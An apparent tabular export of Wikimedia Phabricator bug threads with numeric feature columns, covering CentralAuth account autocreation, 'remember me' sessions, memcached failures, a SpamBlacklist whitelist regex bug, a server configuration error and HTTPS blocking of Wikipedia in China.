Now, if we just autocreated the user, how is their language already set to Spanish? metawiki's default should be English.",,,1405394378,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,1,True,,,-51,True,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,5.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,0.0,2.0,5.0,21.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,4.0,4.49,0.61,"There's some weird stuff going on here.

2014-07-15 01:29:15 mw1025 metawiki: CentralAuthHooks::attemptAddUser: creating new user ([username3])
2014-07-15 01:29:15 mw1188 metawiki: CentralAuthHooks::attemptAddUser: creating new user ([username3])
2014-07-15 01:29:15 mw1188 metawiki: CentralAuthHooks::attemptAddUser: failed with message El nombre de usuario indicado ya está en uso.

Now, if we just autocreated the user, how is their language already set to Spanish? metawiki's default should be English."
69512,"Allow concurrent ""remember me"" logins","Request from https://bugzilla.wikimedia.org/show_bug.cgi?id=66699#c34 (by Martin von Gagern):

> Is asking for year-long concurrent sessions on multiple devices on-topic here, is there a separate bug for this, should I file one or ask on Village Pump?

The idea is to allow multiple simultaneous ""remember me"" sessions.

I'm not sure if this applies to core, CentralAuth, or both, but putting in core for now.

--------------------------
**Version**: 1.24rc
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=66699",Low,25.0,1404433200,1532426763.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-mbjzs4ikrmvtmeu2sswm,task_description,invalid,True,c3,1,True,False,False,-52,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,17.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,9.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.460526315789474,0.6578947368421053,"Request from URL (by Martin von Gagern):

QUOTE

The idea is to allow multiple simultaneous ""remember me"" sessions.

I'm not sure if this applies to core, CentralAuth, or both, but putting in core for now.

--------------------------
**Version**: 1.24rc
**Severity**: enhancement
**See Also**:
URL"
1109278,"Allow concurrent ""remember me"" logins",Unclear task with no activity.,,,1532426763,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-mbjzs4ikrmvtmeu2sswm,task_subcomment,,True,c3,3,True,,,159,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Unclear task with no activity.
763647,"Allow concurrent ""remember me"" logins",Were they ever disallowed? I'm pretty sure they are allowed now. Or is this about logout behavior?,,,1479507817,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-mbjzs4ikrmvtmeu2sswm,task_subcomment,,True,c3,3,True,,,72,True,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,0.9047619047619048,Were they ever disallowed? I'm pretty sure they are allowed now. Or is this about logout behavior?
314267,"Allow concurrent ""remember me"" logins","**Martin.vGagern** wrote:

Thank you for filing this report; I hadn't found the time yet.",,,1404454951,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-mbjzs4ikrmvtmeu2sswm,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.347826086956522,0.8695652173913043,"**Martin.vGagern** wrote:

Thank you for filing this report; I hadn't found the time yet."
67867,memcached / httpGet failing sometimes,"memcached and Wikipedia app server - to - zero.wikimedia.org app server HTTP GET failures have been observed. This means that the Wikipedia Zero banners may not show and pages may not be rewritten, or they may be inaccurately presented.

Until the issue surfaces again, we will not be able to analyze this further.

flourine $ grep memcache /a/mw-log/zero.log

Not all items with !memcache in the log are necessarily hard failures due to the state machine aspect of memcached object clear and update, but use that command to identify entries and see the ZeroRatedMobileAccess extension for the specific places things are logged.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1401300060,1546559056.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-7hkmizsbasap4yirathu,task_description,declined,True,c3,1,True,False,False,-58,True,0.5,0.0,0.0,2.0,2.0,6.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,4.5,7.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.5,0.0,3.0,2.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.5,2.0,0.0,0.5,0.0,0.0,0.5,16.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,3.5,6.5,0.5,3.5,6.5,0.0,0.0,0.5,0.0,5.0,0.0,0.0,0.0,1.0,7.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4338235294117645,0.7426470588235294,"memcached and Wikipedia app server - to - zero.wikimedia.org app server HTTP GET failures have been observed. This means that the Wikipedia Zero banners may not show and pages may not be rewritten, or they may be inaccurately presented.

Until the issue surfaces again, we will not be able to analyze this further.

flourine $ grep memcache /a/mw-log/zero.log

Not all items with !memcache in the log are necessarily hard failures due to the state machine aspect of memcached object clear and update, but use that command to identify entries and see the ZeroRatedMobileAccess extension for the specific places things are logged.

--------------------------
**Version**: unspecified
**Severity**: normal"
298941,memcached / httpGet failing sometimes,"Yep, it causes banners to not show, or it causes stale versions of pages to be served incorrectly, or both.",,,1401304858,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-7hkmizsbasap4yirathu,task_subcomment,,True,c3,1,True,,,-58,True,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.75,"Yep, it causes banners to not show, or it causes stale versions of pages to be served incorrectly, or both."
298934,memcached / httpGet failing sometimes,"Just to confirm, the issue that we need to wait to surface again is Zero banners not showing up correctly, right? I trust you'll ping this bug when that happens ;)

(Setting to Low until that happens again.)",,,1401303963,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-7hkmizsbasap4yirathu,task_subcomment,,True,c3,1,True,,,-58,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,13.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,11.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,4.0,2.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.717391304347826,0.8260869565217391,"Just to confirm, the issue that we need to wait to surface again is Zero banners not showing up correctly, right? I trust you'll ping this bug when that happens ;)

(Setting to Low until that happens again.)"
67848,[SpamBlacklist] Do not include '(?:https?:)?\/\/+[a-z0-9_\-.]*' in whitelist regex,"Because by replacing this to empty, ""//"" in URLs gets stripped, causing any URLs that get processed by the whitelist to fail matching against the blacklist.

Repro: xlx.to is blacklisted in [[m:Spam blacklist]] using \bxlx\.to\b, thus http://foobar.xlx.to/ is expected to be blocked. However on enwiki there's whitelist entry saying \bonion\.com\b, so http://onion.com.xlx.to/ (which is a xlx.to subdomain) can pass the filter on enwiki.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1401279180,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-6lrjbzn2nioir4z3cydg,task_description,open,True,c3,1,False,False,,-58,True,0.5,0.0,0.0,2.5,0.0,2.5,1.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,2.5,7.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.5,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,7.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,3.5,7.0,0.5,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,7.0,6.5,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,3.0,0.0,0.0,1.5,4.050196078431373,0.7523529411764706,"Because by replacing this to empty, ""//"" in URLs gets stripped, causing any URLs that get processed by the whitelist to fail matching against the blacklist.

Repro: xlx.to is blacklisted in [[m:Spam blacklist]] using \bxlx\.to\b, thus URL is expected to be blocked. However on enwiki there's whitelist entry saying \bonion\.com\b, so URL (which is a xlx.to subdomain) can pass the filter on enwiki.

--------------------------
**Version**: unspecified
**Severity**: normal"
66220,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME","**Author:** `ryancarr10`

**Description:**
I will get a lot errors due to either the skin or the wiki iteself. I am not sure which one it is coming from.

Link for log
http://pastie.org/private/h7qw8lu8bmwm1fksukopzw

--------------------------
**Version**: 1.22.5
**Severity**: normal
**OS**: Linux
**Whiteboard**: aklapper-moreinfo",Low,25.0,1398135900,1405686087.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-nqlch2z5sqn3ip7so76l,task_description,declined,True,c3,1,False,False,True,-63,True,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,15.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0365853658536586,0.573170731707317,"**Author:** CODE

**Description:**
I will get a lot errors due to either the skin or the wiki iteself. I am not sure which one it is coming from.

Link for log
URL

--------------------------
**Version**: 1.22.5
**Severity**: normal
**OS**: Linux
**Whiteboard**: aklapper-moreinfo"
307966,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME","Unfortunately closing this report as no further information has been provided.

Ryan: Please feel free to reopen this report if you can provide the information asked for and if this still happens. Thanks!",,,1405686087,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nqlch2z5sqn3ip7so76l,task_subcomment,,True,c3,1,True,,,-50,True,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,5.0,3.0,13.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.552631578947368,0.8421052631578947,"Unfortunately closing this report as no further information has been provided.

Ryan: Please feel free to reopen this report if you can provide the information asked for and if this still happens. Thanks!"
307960,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME",Ryan: Please provide more information about your web server configuration.,,,1398782611,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nqlch2z5sqn3ip7so76l,task_subcomment,,True,c3,1,True,,,-62,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.416666666666667,1.0,Ryan: Please provide more information about your web server configuration.
307952,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME",*** Bug 64222 has been marked as a duplicate of this bug. ***,,,1398148337,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nqlch2z5sqn3ip7so76l,task_subcomment,,True,c3,1,True,,,-63,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 64222 has been marked as a duplicate of this bug. ***
307946,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME","This is unrelated to the Chameleon skin but is related to your web server configuration:

FastCGI sent in stderr: ""PHP message: PHP Fatal error:  Uncaught exception 'MWException' with message 'Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME. Report details of your web server configuration to http://bugzilla.wikimedia.org/' in /var/www/clients/client5/web7/web/wiki/includes/WebRequest.php:682

Please provide more information about your web server configuration.",,,1398138979,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nqlch2z5sqn3ip7so76l,task_subcomment,,True,c3,1,True,,,-63,True,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,21.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,18.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,3.0,9.0,13.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.662921348314606,0.651685393258427,"This is unrelated to the Chameleon skin but is related to your web server configuration:

FastCGI sent in stderr: ""PHP message: PHP Fatal error:  Uncaught exception 'MWException' with message 'Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME. Report details of your web server configuration to URL in /var/www/clients/client5/web7/web/wiki/includes/WebRequest.php:682

Please provide more information about your web server configuration."
66207,Re-test https access fom China (PRC),"A user reported that https access to wikipedia.org has been available for China since November 2013. Let's run some tests to see if this is true for most users.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T55739}",Low,25.0,1398116760,1437614185.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-l6pd6yi75ds4crxpvanx,task_description,invalid,True,c3,1,True,False,True,-63,True,2.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,15.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,11.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,3.725806451612903,0.6935483870967742,"A user reported that https access to wikipedia.org has been available for China since November 2013. Let's run some tests to see if this is true for most users.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T55739}"
495354,Re-test https access fom China (PRC),We're now HTTPS-only.,,,1437614185,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,1.0,We're now HTTPS-only.
462252,Re-test https access fom China (PRC),FYI: we now appear very recently to be suffering from language/wiki -specific blocks from the GFW (e.g. zhwiki blocked but not enwiki).  The reports are they're doing this by poisoning DNS inside the GFW (users can route around if they know the correct IPs and how to use them).  This isn't HTTPS-specific; it affects both protocols.  Public reporting on the issue: https://chinadigitaltimes.net/2015/05/chinese-wikipedia-blocked-by-great-firewall/ .,,,1432305194,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-6,True,0.0,0.0,1.0,0.0,2.0,7.0,1.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,7.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,10.0,5.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,3.768292682926829,0.8170731707317073,FYI: we now appear very recently to be suffering from language/wiki -specific blocks from the GFW (e.g. zhwiki blocked but not enwiki).  The reports are they're doing this by poisoning DNS inside the GFW (users can route around if they know the correct IPs and how to use them).  This isn't HTTPS-specific; it affects both protocols.  Public reporting on the issue: URL .
447719,Re-test https access fom China (PRC),"FYI, I think we have updates on this in another ticket's length comment thread.  This comment down through the following updates through Mar 28: https://phabricator.wikimedia.org/T49832#1147410",,,1429714309,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,17.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,0.9,"FYI, I think we have updates on this in another ticket's length comment thread.  This comment down through the following updates through Mar 28: URL"
307461,Re-test https access fom China (PRC),"Liangent pointed me to https://en.greatfire.org/https/en.wikipedia.org and https://en.greatfire.org/https/en.m.wikipedia.org. 

We also received OTRS reports from the Wikipedia app beta users about not being able to access wiki with the new app (which routes all requests to m. domains) while the old app worked just fine (it routes all requests to the regular domains). Both force https.",,,1402944658,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-55,True,3.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,3.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,11.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.7377049180327869,"Liangent pointed me to URL and URL 

We also received OTRS reports from the Wikipedia app beta users about not being able to access wiki with the new app (which routes all requests to m. domains) while the old app worked just fine (it routes all requests to the regular domains). Both force https."
307455,Re-test https access fom China (PRC),Sweet! Citation / link to data?,,,1402942600,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Sweet! Citation / link to data?
307449,Re-test https access fom China (PRC),"Current testing seems to show that https to the mobile (m.) domain is blocked most of the time, but https to the desktop site is not.",,,1402941678,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,30.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.6,0.8,"Current testing seems to show that https to the mobile (m.) domain is blocked most of the time, but https to the desktop site is not."
